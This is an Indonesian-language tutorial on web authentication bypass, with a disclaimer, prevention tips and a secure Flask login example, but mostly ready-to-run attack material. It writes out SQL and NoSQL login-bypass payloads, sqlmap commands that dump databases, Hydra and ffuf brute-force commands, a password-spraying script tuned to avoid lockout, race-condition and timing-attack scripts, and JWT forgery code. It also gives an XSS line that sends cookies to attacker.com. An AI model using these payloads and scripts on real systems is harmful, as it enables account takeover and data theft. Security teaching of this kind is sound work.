1. Pengenalan Authentication Bypass
Authentication Bypass adalah teknik yang digunakan untuk melewati proses autentikasi aplikasi tanpa menggunakan kredensial yang sah. Serangan ini termasuk dalam kategori paling kritis karena memungkinkan attacker mendapatkan akses tidak sah ke sistem, data, dan resource yang seharusnya terproteksi.
Dalam konteks web application, autentikasi adalah mekanisme pertama yang memverifikasi identitas pengguna sebelum mengizinkan akses. Ketika autentikasi berhasil di-bypass, seluruh lapisan keamanan setelahnya (otorisasi, enkripsi, logging) menjadi tidak relevan karena attacker sudah berada di dalam sistem.
Kategori Serangan Authentication Bypass
| Kategori | Teknik | Severity |
|---|---|---|
| Injection | SQL Injection, NoSQL Injection, LDAP Injection pada login | Critical |
| Session | Session Fixation, Session Hijacking, Cookie Manipulation | Critical |
| Credential | Brute Force, Credential Stuffing, Password Spraying | High |
| Logic | Parameter Manipulation, Forceful Browsing, Race Condition | High |
| Token | JWT Forgery, Token Replay, Weak Token Generation | Critical |
| Protocol | OAuth Misconfiguration, SAML Manipulation, SSO Bypass | Critical |
Tutorial ini ditujukan untuk edukasi keamanan. Gunakan pengetahuan ini untuk mempertahankan sistem, bukan untuk menyerang. Akses tanpa izin terhadap sistem komputer adalah kejahatan siber yang melanggar UU ITE di Indonesia.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β AUTHENTICATION FLOW & ATTACK POINTS β β β β User βββΆ [Login Form] βββΆ [Server Validation] βββΆ [Session] β β β β β β β β β β β β Attack Points Attack Points Attack β β ββββββββββββ ββββββββββββ Points β β β’ SQL Injection β’ Credential ββββββ β β β’ NoSQL Injection stuffing β’ Session β β β’ LDAP Injection β’ Timing attacks fixationβ β β’ Parameter β’ Default creds β’ Cookie β β manipulation β’ Weak hashing forgery β β β’ Username β’ Logic flaws β’ Token β β enumeration β’ Race conditions replay β β β β βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β β POST-AUTH ATTACK POINTS: β β β’ IDOR (Insecure Direct Object Reference) β β β’ Privilege Escalation β β β’ Horizontal Movement β β β’ Token/Session Theft β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. SQL Injection Login Bypass
SQL Injection pada form login adalah salah satu teknik bypass paling klasik dan masih ditemukan pada aplikasi yang tidak menggunakan parameterized queries. Dengan memanipulasi query SQL, attacker dapat login tanpa mengetahui password.
2.1 Konsep Dasar SQL Injection Login Bypass
# ===== SQL INJECTION LOGIN BYPASS ===== # Asumsikan query login yang rentan: # SELECT * FROM users WHERE username='$user' AND password='$pass' # ===== BASIC BYPASS PAYLOADS ===== # 1. Comment-based bypass Username: admin'-- Password: (kosong) # Query: SELECT * FROM users WHERE username='admin'--' AND password='' # Hasil: Password check di-skip karena dikomentari # 2. OR-based bypass Username: admin' OR '1'='1'-- Password: (kosong) # Query: SELECT * FROM users WHERE username='admin' OR '1'='1'--' AND password='' # Hasil: '1'='1' selalu TRUE, bypass password check # 3. Universal bypass (login sebagai user pertama) Username: ' OR '1'='1'-- Password: (kosong) # Query: SELECT * FROM users WHERE username='' OR '1'='1'--' AND password='' # Hasil: Login sebagai user pertama di database # 4. Union-based bypass Username: ' UNION SELECT 1,'admin','hashed_password'-- Password: (hashed_password) # Query: SELECT * FROM users WHERE username='' UNION SELECT 1,'admin','hashed_password'--' AND password='' # Hasil: Menambah row palsu yang sesuai # 5. Blind boolean bypass Username: admin' AND '1'='1'-- Password: apapun # Jika admin ada: login berhasil # Jika admin tidak ada: login gagal # ===== BYPASS VARIASI ===== # MySQL comment variations admin'-- admin'# admin'/* admin'-- - admin';%00 # PostgreSQL admin'-- admin'/* # MSSQL (MS SQL Server) admin'-- admin'-- # Oracle admin'-- admin'-- # Double quote injection (jika query pakai double quotes) admin" OR "1"="1"-- admin"-- # Numeric context bypass # Jika query: SELECT * FROM users WHERE id=$id # Payload: 1 OR 1=1 # Payload: -1 UNION SELECT 1,2,3
2.2 Automated Testing dengan SQLMap
# ===== SQLMAP UNTUK LOGIN BYPASS =====
# 1. Basic POST request testing
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
-p username \
--level=3 --risk=2
# 2. Dengan cookie/session
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--cookie="PHPSESSID=abc123" \
--level=3 --risk=2
# 3. Test semua parameter
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test&csrf=token" \
--level=5 --risk=3 \
--batch
# 4. Teknik spesifik
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--technique=BEU \
--dbms=mysql
# 5. Tamper scripts untuk bypass WAF
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--tamper=space2comment,between,randomcase \
--level=3
# 6. Dump database setelah bypass
sqlmap -u "https://target.com/login" \
--data="username=admin&password=test" \
--dump \
--threads=10
# ===== BURP SUITE MANUAL TESTING =====
# 1. Intercept login request di Burp
# 2. Kirim ke Repeater
# 3. Test payload pada setiap parameter
# 4. Analisis response untuk perbedaan:
# - Response length berbeda
# - HTTP status code berbeda
# - Content berbeda (error messages)
# - Redirect URL berbeda
# - Response time berbeda
2.3 NoSQL Injection Login Bypass
# ===== NOSQL INJECTION LOGIN BYPASS =====
# Target: MongoDB + Node.js/Express aplikasi
# Asumsikan query:
# db.users.find({ username: req.body.username, password: req.body.password })
# ===== BASIC NOSQL BYPASS =====
# 1. Operator Injection via JSON
# Kirim sebagai JSON:
{
"username": {"$ne": ""},
"password": {"$ne": ""}
}
# Hasil: Mencari user dimana username TIDAK kosong DAN password TIDAK kosong
# = Login sebagai user pertama yang valid
# 2. $gt (greater than) injection
{
"username": {"$gt": ""},
"password": {"$gt": ""}
}
# 3. $regex injection
{
"username": {"$regex": ".*"},
"password": {"$regex": ".*"}
}
# 4. Specific username + bypass password
{
"username": "admin",
"password": {"$ne": "nonexistent_password"}
}
# ===== TESTING DENGAN CURL =====
# Basic NoSQL injection
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":""},"password":{"$ne":""}}'
# Target specific user
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":{"$ne":""}}'
# $gt injection
curl -X POST https://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
# ===== NOSQL INJECTION VIA PARAMETER POLLUTION =====
# Jika parameter dikirim via URL-encoded:
# username[$ne]=&password[$ne]=
# Atau via array injection:
# username[$regex]=^admin&password[$ne]=
3. Session & Token Attacks
3.1 Session Fixation
# ===== SESSION FIXATION ===== # Session Fixation: attacker "memperbaiki" session ID korban # sebelum korban login, sehingga setelah login attacker # memiliki session ID yang sama # ALUR SERANGAN: # 1. Attacker mendapatkan session ID dari server # GET https://target.com/login # Response: Set-Cookie: PHPSESSID=ATTACKER_SESSION_ID # # 2. Attacker mengirim link ke korban dengan session ID: # https://target.com/login?PHPSESSID=ATTACKER_SESSION_ID # Atau: https://target.com/login dengan cookie yang sudah di-set # # 3. Korban membuka link dan login dengan credential sah # Server mengaitkan session ATTACKER_SESSION_ID dengan korban # # 4. Attacker menggunakan session ID yang sama untuk akses # GET https://target.com/dashboard # Cookie: PHPSESSID=ATTACKER_SESSION_ID # = Attacker masuk sebagai korban! # ===== VARIASI ===== # Via URL parameter https://target.com/login?sessionid=abc123 https://target.com/login?PHPSESSID=abc123 https://target.com/login?JSESSIONID=abc123 https://target.com/login?ASP.NET_SessionId=abc123 # Via hidden form field <input type="hidden" name="sessionid" value="abc123"> # Via cookie injection (subdomain XSS) document.cookie = "PHPSESSID=abc123; domain=.target.com"; # ===== DETECTION ===== # Cek apakah session ID berubah setelah login # Jika TIDAK berubah = RENTAN terhadap session fixation # Test: # 1. Dapatkan session ID sebelum login # 2. Login dengan credential valid # 3. Cek apakah session ID sama # Jika sama = VULNERABLE
3.2 Session Hijacking
# ===== SESSION HIJACKING TECHNIQUES ===== # 1. COOKIE THEFT VIA XSS # Jika aplikasi rentan XSS, attacker bisa mencuri cookie: # <script> # new Image().src = "https://attacker.com/steal?c=" + document.cookie; # </script> # # Atau dengan HttpOnly bypass (jarang): # XMLHttpRequest ke endpoint yang mengembalikan session info # 2. MAN-IN-THE-MIDDLE (MITM) # Intercept traffic di jaringan yang tidak aman (HTTP tanpa HTTPS) # Tools: Wireshark, tcpdump, Bettercap # Cookie dikirim dalam plaintext = bisa dicuri # 3. SESSION PREDICTION # Jika session ID menggunakan random yang lemah: # - Timestamp-based # - Incremental counter # - Predictable PRNG # # Attacker bisa memprediksi session ID berikutnya # 4. CROSS-SITE REQUEST FORGERY (CSRF) # Memaksa korban melakukan aksi tanpa sadar: # <img src="https://target.com/transfer?to=attacker&amount=1000"> # Jika korban sudah login, request dieksekusi dengan session mereka # ===== PENCEGAHAN ===== # Session Management yang Aman: # 1. Regenerate session ID setelah login # session_regenerate_id(true); # PHP # # 2. Set cookie flags: # Set-Cookie: PHPSESSID=xxx; HttpOnly; Secure; SameSite=Strict # # 3. Session timeout yang wajar (15-30 menit) # # 4. Bind session ke IP dan User-Agent # # 5. Invalidate session setelah logout # # 6. Gunakan HTTPS HANYA (HSTS header)
4. Credential Attacks
4.1 Brute Force & Credential Stuffing
# ===== BRUTE FORCE ATTACK =====
# 1. HYDRA (THC-Hydra) β Brute Force Multi-Protocol
# HTTP POST form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# SSH brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt \
target.com ssh
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com ftp
# 2. BURP SUITE INTRUDER
# Intercept login request β Send to Intrader
# Set attack type: Cluster Bomb
# Set payload position pada username dan password
# Load wordlist untuk setiap position
# Start attack, filter response berdasarkan length/status
# 3. FFUF β Fuzz Faster
# Brute force login
ffuf -u https://target.com/login \
-X POST \
-d "username=FUZZUSER&password=FUZZPASS" \
-w usernames.txt:FUZZUSER \
-w passwords.txt:FUZZPASS \
-mc 302 \
-H "Content-Type: application/x-www-form-urlencoded"
# ===== CREDENTIAL STUFFING =====
# Menggunakan username/password dari breach data
# untuk login ke situs lain (password reuse)
# Tools: Sentry MBA, OpenBullet, SilverBullet
# Data breach lists tersedia di dark web
# ===== PASSWORD SPRAYING =====
# Mencoba beberapa password umum ke banyak akun
# (kebalikan dari brute force yang mencoba banyak password ke satu akun)
# Password umum untuk spraying:
# Password1, Password123, Welcome1, P@ssw0rd
# Companyname2024, Summer2024, Winter2024
# Changeme123, Qwerty123, Admin123
# Script password spraying sederhana:
#!/bin/bash
USERS="users.txt"
PASSWORDS="Spring2024 Summer2024 Company123"
TARGET="https://target.com/login"
for pass in $PASSWORDS; do
while read user; do
response=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET" \
-d "username=$user&password=$pass" \
-L)
if [ "$response" != "401" ]; then
echo "[+] SUCCESS: $user:$pass (HTTP $response)"
fi
done < "$USERS"
# Delay antara setiap password (hindari lockout)
sleep 300
done
# ===== TIMING ATTACK =====
# Membedakan valid/invalid username berdasarkan response time
# Login yang valid biasanya lebih lambat (password hash comparison)
# Script timing attack:
import requests
import time
def timing_attack(url, usernames):
results = {}
for username in usernames:
times = []
for _ in range(10):
start = time.time()
requests.post(url, data={
'username': username,
'password': 'wrong_password'
})
elapsed = time.time() - start
times.append(elapsed)
avg_time = sum(times) / len(times)
results[username] = avg_time
print(f"{username}: {avg_time:.4f}s")
# Username dengan response time lebih tinggi
# kemungkinan valid (password hash comparison takes time)
return sorted(results.items(), key=lambda x: x[1], reverse=True)
5. Logic & Business Logic Bypass
5.1 Parameter Manipulation
# ===== LOGIC BYPASS TECHNIQUES =====
# 1. HIDDEN PARAMETER MANIPULATION
# Aplikasi mengirim parameter tersembunyi:
# POST /login
# username=admin&password=test&role=guest
#
# Attacker mengubah:
# username=admin&password=test&role=admin
# = Bypass otorisasi setelah autentikasi
# 2. RESPONSE MANIPULATION
# Intercept response dari server dan ubah:
# Original: {"authenticated": false, "role": "guest"}
# Modified: {"authenticated": true, "role": "admin"}
#
# Tools: Burp Suite, mitmproxy, Charles Proxy
# 3. DIRECT PAGE ACCESS (Forceful Browsing)
# Langsung akses halaman yang dilindungi:
# https://target.com/admin/dashboard (tanpa login)
# https://target.com/user/profile?id=1 (akses user lain)
#
# Banyak aplikasi hanya cek autentikasi di halaman login,
# tapi TIDAK di halaman yang dilindungi
# 4. REGISTRATION BYPASS
# Jika ada fitur registrasi dengan verifikasi email:
# 1. Register dengan email attacker@evil.com
# 2. Intercept request sebelum verifikasi email
# 3. Langsung akses fitur yang membutuhkan verifikasi
# 4. Bypass: Ubah response verification status
# 5. PASSWORD RESET BYPASS
# Manipulasi flow password reset:
# Step 1: Request reset β server kirim token ke email
# Step 2: Attacker intercept atau bypass step ini
# Langsung akses: /reset-password?token=KNOWN_TOKEN
# Atau manipulasi user_id: /reset-password?user_id=1
# 6. MULTI-STEP AUTH BYPASS
# Banyak autentikasi multi-step yang bisa di-skip:
# Step 1: Username/Password β /verify-otp
# Step 2: OTP verification β /dashboard
#
# Bypass: Langsung akses /dashboard setelah step 1
# Atau: Manipulasi step parameter
# ===== CONTOH: BYPASS 2FA =====
# Aplikasi dengan 2FA:
# 1. POST /login β Berhasil β Redirect ke /2fa-verify
# 2. POST /2fa-verify β OTP β Dashboard
#
# Bypass:
# 1. Login dengan credential valid
# 2. Jangan ikuti redirect ke /2fa-verify
# 3. Langsung GET /dashboard
# Jika server tidak cek 2FA status di setiap request = BYPASS!
# ===== RACE CONDITION AUTH BYPASS =====
# Kirim banyak request login bersamaan:
# Beberapa aplikasi memproses satu request sebelum
# menandai session sebagai "authenticated"
# = Multiple parallel requests bisa melewati check
# Script race condition:
import threading
import requests
def login_attempt(url, data):
resp = requests.post(url, json=data)
if 'dashboard' in resp.url or resp.status_code == 200:
print(f"[+] SUCCESS! Cookies: {resp.cookies.get_dict()}")
url = "https://target.com/api/login"
data = {"username": "admin", "password": "test"}
# Kirim 100 request bersamaan
threads = []
for i in range(100):
t = threading.Thread(target=login_attempt, args=(url, data))
threads.append(t)
t.start()
for t in threads:
t.join()
6. OAuth & SSO Bypass
# ===== OAUTH 2.0 BYPASS ATTACKS ===== # OAuth 2.0 adalah protokol otorisasi yang populer # Digunakan oleh "Login with Google/Facebook/GitHub" # ===== ATTACK 1: REDIRECT_URI MANIPULATION ===== # Normal flow: # https://target.com/auth/google # β Google login β redirect ke redirect_uri yang terdaftar # Attack: Ubah redirect_uri # https://accounts.google.com/o/oauth2/auth? # client_id=TARGET_CLIENT_ID& # redirect_uri=https://ATTACKER.com/callback& # response_type=code& # scope=email profile # Jika redirect_uri tidak divalidasi dengan ketat: # Token/auth code dikirim ke attacker! # Bypass variasi: # redirect_uri=https://target.com/callback β original # redirect_uri=https://target.com/callback/../attacker β path traversal # redirect_uri=https://target.com.attacker.com β subdomain # redirect_uri=https://target.com%00.attacker.com β null byte # redirect_uri=https://target.com/callback?next=attacker.com β open redirect # ===== ATTACK 2: STATE PARAMETER ABUSE ===== # Parameter "state" mencegah CSRF dalam OAuth # Jika state tidak divalidasi: # Attacker bisa membuat link OAuth yang mengaitkan # akun attacker ke akun korban # Attack flow: # 1. Attacker login dengan akun Google attacker # 2. Attacker dapat authorization code # 3. Attacker kirim link ke korban: # https://target.com/auth/callback?code=ATTACKER_CODE # 4. Korban klik link β akun target dikaitkan dengan Google attacker # 5. Attacker login dengan Google β masuk sebagai korban! # ===== ATTACK 3: TOKEN THEFT VIA OPEN REDIRECT ===== # Jika aplikasi memiliki open redirect: # https://target.com/redirect?url=https://attacker.com # # Attacker bisa mencuri OAuth token: # redirect_uri=https://target.com/redirect?url=https://attacker.com # Token dikirim ke attacker.com melalui redirect # ===== ATTACK 4: IMPLICIT GRANT ABUSE ===== # Implicit grant mengirim token via URL fragment (#) # Token muncul di browser history dan bisa bocor via Referrer header # ===== SAML ATTACKS ===== # 1. SAML Signature Wrapping # Manipulasi assertion SAML untuk menambah identity baru # 2. SAML XML Signature Bypass # Hapus atau manipulasi signature check # 3. SAML Assertion Replay # Gunakan assertion yang sama berulang kali # ===== PENCEGAHAN OAUTH ===== # 1. Validasi redirect_uri dengan whitelist ketat # 2. Selalu gunakan dan validasi parameter "state" # 3. Gunakan authorization code flow (bukan implicit) # 4. Validasi token audience (aud claim) # 5. Implement PKCE untuk public clients
7. JWT & API Token Attacks
# ===== JWT ATTACKS =====
# JWT terdiri dari 3 bagian: header.payload.signature
# Dipisahkan oleh titik (.)
# Setiap bagian di-encode Base64URL
# ===== ATTACK 1: ALGORITHM NONE =====
# JWT mendukung algoritma "none" (tanpa signature)
# Jika server tidak memvalidasi algoritma:
# Original JWT header:
# {"alg": "HS256", "typ": "JWT"}
# Attacker ubah ke:
# {"alg": "none", "typ": "JWT"}
# Buat token baru:
import base64
import json
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b'=')
payload = base64.urlsafe_b64encode(
json.dumps({
"sub": "1",
"name": "Admin",
"role": "admin",
"iat": 1625000000
}).encode()
).rstrip(b'=')
# Signature kosong untuk alg: none
token = header.decode() + "." + payload.decode() + "."
print(f"Forged JWT: {token}")
# ===== ATTACK 2: KEY CONFUSION (RS256 β HS256) =====
# Jika server menggunakan RS256 (asymmetric, public+private key)
# Attacker bisa downgrade ke HS256 (symmetric, single key)
# menggunakan PUBLIC KEY sebagai secret
# 1. Dapatkan public key (sering tersedia di /jwks.json atau /.well-known/)
# 2. Buat JWT dengan HS256 menggunakan public key sebagai HMAC secret
# 3. Server menerima karena HS256 valid dengan "key" yang sama
# Python exploit:
import jwt
# Public key target (dapatkan dari JWKS endpoint)
public_key = open('target_public.pem').read()
# Forge token dengan HS256 menggunakan public key
token = jwt.encode(
{"sub": "1", "role": "admin"},
public_key, # Public key sebagai HMAC secret!
algorithm="HS256"
)
print(f"Forged token: {token}")
# ===== ATTACK 3: JWT NONE WITH ESCAPED ALG =====
# Beberapa implementasi menerima variasi alg:
# "none", "None", "NONE", "nOnE"
# Cek apakah server case-insensitive dalam memvalidasi
# ===== ATTACK 4: JWKS INJECTION =====
# Jika JWT header mendukung "jku" (JWK Set URL):
# Attacker bisa mengarahkan ke server JWKS miliknya
# Header:
# {
# "alg": "RS256",
# "jku": "https://attacker.com/.well-known/jwks.json"
# }
# Server akan mengambil public key dari attacker!
# Attacker generate key pair, simpan public di URL tersebut
# ===== ATTACK 5: KID (Key ID) INJECTION =====
# Jika "kid" digunakan sebagai path ke file key:
# {"kid": "/path/to/key.pem"}
#
# Attacker bisa manipulasi path:
# {"kid": "../../dev/null"} β File kosong = empty key
# {"kid": "/dev/null"} β Empty key = HS256 dengan key ""
# ===== TOOLS =====
# 1. jwt_tool (https://github.com/ticarpi/jwt_tool)
python3 jwt_tool.py TOKEN -X a # Algorithm none
python3 jwt_tool.py TOKEN -X k # Key confusion
python3 jwt_tool.py TOKEN -X pb -pk public.pem # Public key as HMAC
# 2. Burp Suite JWT Editor Extension
# 3. jwt-cracker / hashcat untuk brute force secret
hashcat -m 16500 jwt_hash.txt rockyou.txt
8. Pencegahan & Best Practices
- Parameterized Queries β Gunakan prepared statements untuk mencegah SQL injection
- Session Management β Regenerate session ID, set HttpOnly/Secure/SameSite flags
- Rate Limiting β Batasi attempt login per IP/user
- Account Lockout β Lock account setelah N kali gagal
- Multi-Factor Auth β Implementasi 2FA/MFA
- JWT Security β Validasi algoritma, gunakan RS256, validasi semua claims
- OAuth Validation β Whitelist redirect_uri, validasi state parameter
- Server-Side Validation β Validasi SEMUA di server, jangan percaya client
- Audit Logging β Log semua attempt autentikasi (sukses & gagal)
- Secure Password Storage β bcrypt/Argon2, salt per user
# ===== SECURE AUTHENTICATION IMPLEMENTATION =====
import bcrypt
import jwt
import secrets
import time
from datetime import datetime, timedelta
from functools import wraps
from flask import Flask, request, jsonify, session, abort
import redis
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
r = redis.Redis()
# ===== SECURE PASSWORD HASHING =====
def hash_password(password: str) -> str:
"""Hash password dengan bcrypt (salt otomatis)"""
salt = bcrypt.gensalt(rounds=12)
return bcrypt.hashpw(password.encode(), salt).decode()
def verify_password(password: str, hashed: str) -> bool:
"""Verifikasi password terhadap hash"""
return bcrypt.checkpw(password.encode(), hashed.encode())
# ===== RATE LIMITING =====
def rate_limit(key: str, max_attempts: int = 5, window: int = 300):
"""Rate limiting dengan Redis"""
current = r.get(key)
if current and int(current) >= max_attempts:
return False
pipe = r.pipeline()
pipe.incr(key)
pipe.expire(key, window)
pipe.execute()
return True
# ===== SECURE LOGIN =====
@app.route('/api/login', methods=['POST'])
def login():
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
# 1. Input validation
if not username or not password:
return jsonify({'error': 'Username dan password harus diisi'}), 400
# 2. Rate limiting
ip_key = f"login:ip:{request.remote_addr}"
user_key = f"login:user:{username}"
if not rate_limit(ip_key, 10, 300):
return jsonify({'error': 'Terlalu banyak percobaan. Coba lagi nanti.'}), 429
if not rate_limit(user_key, 5, 300):
return jsonify({'error': 'Akun terkunci sementara'}), 423
# 3. Query dengan parameterized statement (SQL injection safe)
# user = db.execute(
# "SELECT id, username, password_hash, role FROM users WHERE username = %s",
# (username,)
# ).fetchone()
# 4. Constant-time comparison
# Gunakan bcrypt.checkpw yang sudah constant-time
# 5. Login attempt logging
# db.execute(
# "INSERT INTO login_attempts (username, ip, timestamp, success) VALUES (%s, %s, %s, %s)",
# (username, request.remote_addr, datetime.utcnow(), False)
# )
# 6. Response yang tidak membocorkan info
# JANGAN: "Username tidak ditemukan" vs "Password salah"
# HARUS: "Username atau password salah" (sama untuk semua kasus)
return jsonify({'error': 'Username atau password salah'}), 401
# ===== SECURE JWT =====
JWT_SECRET = secrets.token_hex(32)
JWT_ALGORITHM = 'HS256' # Atau RS256 untuk lebih aman
def create_token(user_id: str, role: str) -> str:
"""Buat JWT token yang aman"""
payload = {
'sub': user_id,
'role': role,
'iat': datetime.utcnow(),
'exp': datetime.utcnow() + timedelta(minutes=30),
'jti': secrets.token_hex(16), # Unique token ID
'iss': 'beebanelabs.com' # Issuer
}
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
def verify_token(token: str) -> dict:
"""Verifikasi JWT token"""
try:
payload = jwt.decode(
token, JWT_SECRET,
algorithms=[JWT_ALGORITHM], # HARUS specify allowed algorithms
issuer='beebanelabs.com',
options={'require': ['exp', 'sub', 'iss', 'jti']}
)
# Cek blacklist (jika token di-revoke)
if r.get(f"token:blacklist:{payload['jti']}"):
raise jwt.InvalidTokenError("Token has been revoked")
return payload
except jwt.ExpiredSignatureError:
raise ValueError("Token expired")
except jwt.InvalidTokenError:
raise ValueError("Invalid token")
# ===== AUTH MIDDLEWARE =====
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
token = request.headers.get('Authorization', '').replace('Bearer ', '')
if not token:
abort(401)
try:
payload = verify_token(token)
request.user = payload
except ValueError:
abort(401)
return f(*args, **kwargs)
return decorated
@app.route('/api/protected')
@require_auth
def protected():
return jsonify({'user': request.user['sub']})
# ===== SECURE SESSION =====
@app.after_request
def set_security_headers(response):
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Cache-Control'] = 'no-store'
return response
9. Testing & Audit
# ===== AUTH BYPASS AUTOMATED TEST SUITE =====
import requests
import json
import time
class AuthBypassTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
self.results = []
def test_sqli_bypass(self):
"""Test SQL injection pada login"""
print("\n[*] Testing SQL Injection Login Bypass...")
payloads = [
("admin'--", ""),
("admin' OR '1'='1'--", ""),
("' OR '1'='1'--", ""),
("admin'/*", "anything"),
("admin' #", ""),
("' OR 1=1--", ""),
("admin' AND '1'='1", "anything"),
("admin') OR ('1'='1'--", ""),
]
for username, password in payloads:
resp = self.session.post(
f"{self.base_url}/api/login",
json={"username": username, "password": password}
)
if resp.status_code == 200 and 'token' in resp.text.lower():
self.results.append({
'test': f'SQLi Bypass: {username}',
'result': 'VULNERABLE',
'severity': 'CRITICAL'
})
print(f" [!] VULNERABLE: {username}")
else:
print(f" [+] Blocked: {username}")
def test_nosql_bypass(self):
"""Test NoSQL injection pada login"""
print("\n[*] Testing NoSQL Injection Bypass...")
payloads = [
{"username": {"$ne": ""}, "password": {"$ne": ""}},
{"username": {"$gt": ""}, "password": {"$gt": ""}},
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
{"username": "admin", "password": {"$ne": "x"}},
{"username": {"$exists": True}, "password": {"$exists": True}},
]
for payload in payloads:
resp = self.session.post(
f"{self.base_url}/api/login",
json=payload
)
if resp.status_code == 200 and 'token' in resp.text.lower():
self.results.append({
'test': f'NoSQL Bypass: {json.dumps(payload)}',
'result': 'VULNERABLE',
'severity': 'CRITICAL'
})
print(f" [!] VULNERABLE: {payload}")
def test_direct_access(self):
"""Test akses langsung ke halaman terproteksi"""
print("\n[*] Testing Direct Page Access...")
protected_pages = [
'/admin', '/admin/dashboard', '/dashboard',
'/api/users', '/api/admin', '/profile',
'/settings', '/api/config'
]
for page in protected_pages:
resp = self.session.get(f"{self.base_url}{page}")
if resp.status_code == 200:
self.results.append({
'test': f'Direct Access: {page}',
'result': 'ACCESSIBLE',
'severity': 'HIGH'
})
print(f" [!] Accessible without auth: {page}")
def test_jwt_manipulation(self):
"""Test JWT token manipulation"""
print("\n[*] Testing JWT Manipulation...")
# 1. Get valid token first
login_resp = self.session.post(
f"{self.base_url}/api/login",
json={"username": "testuser", "password": "testpass"}
)
if 'token' not in login_resp.text.lower():
print(" [-] Could not get initial token")
return
token = login_resp.json().get('token', '')
# 2. Decode and modify
try:
import base64
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Test alg none
header = {"alg": "none", "typ": "JWT"}
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
payload['role'] = 'admin'
new_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
forged = f"{new_header}.{new_payload}."
resp = self.session.get(
f"{self.base_url}/api/protected",
headers={'Authorization': f'Bearer {forged}'}
)
if resp.status_code == 200:
self.results.append({
'test': 'JWT alg:none bypass',
'result': 'VULNERABLE',
'severity': 'CRITICAL'
})
print(" [!] JWT alg:none BYPASS!")
except Exception as e:
print(f" [-] JWT test error: {e}")
def generate_report(self):
"""Generate laporan testing"""
print("\n" + "=" * 60)
print("LAPORAN AUTH BYPASS TESTING")
print("=" * 60)
vuln_count = sum(1 for r in self.results if 'VULNERABLE' in r['result'])
print(f"\nTotal Tests: {len(self.results)}")
print(f"Vulnerabilities Found: {vuln_count}")
for r in self.results:
print(f"\n [{r['severity']}] {r['test']}: {r['result']}")
# ===== JALANKAN =====
# tester = AuthBypassTester('https://target.com')
# tester.test_sqli_bypass()
# tester.test_nosql_bypass()
# tester.test_direct_access()
# tester.test_jwt_manipulation()
# tester.generate_report()
10. Quiz Pemahaman
Uji pemahaman Anda tentang Authentication Bypass: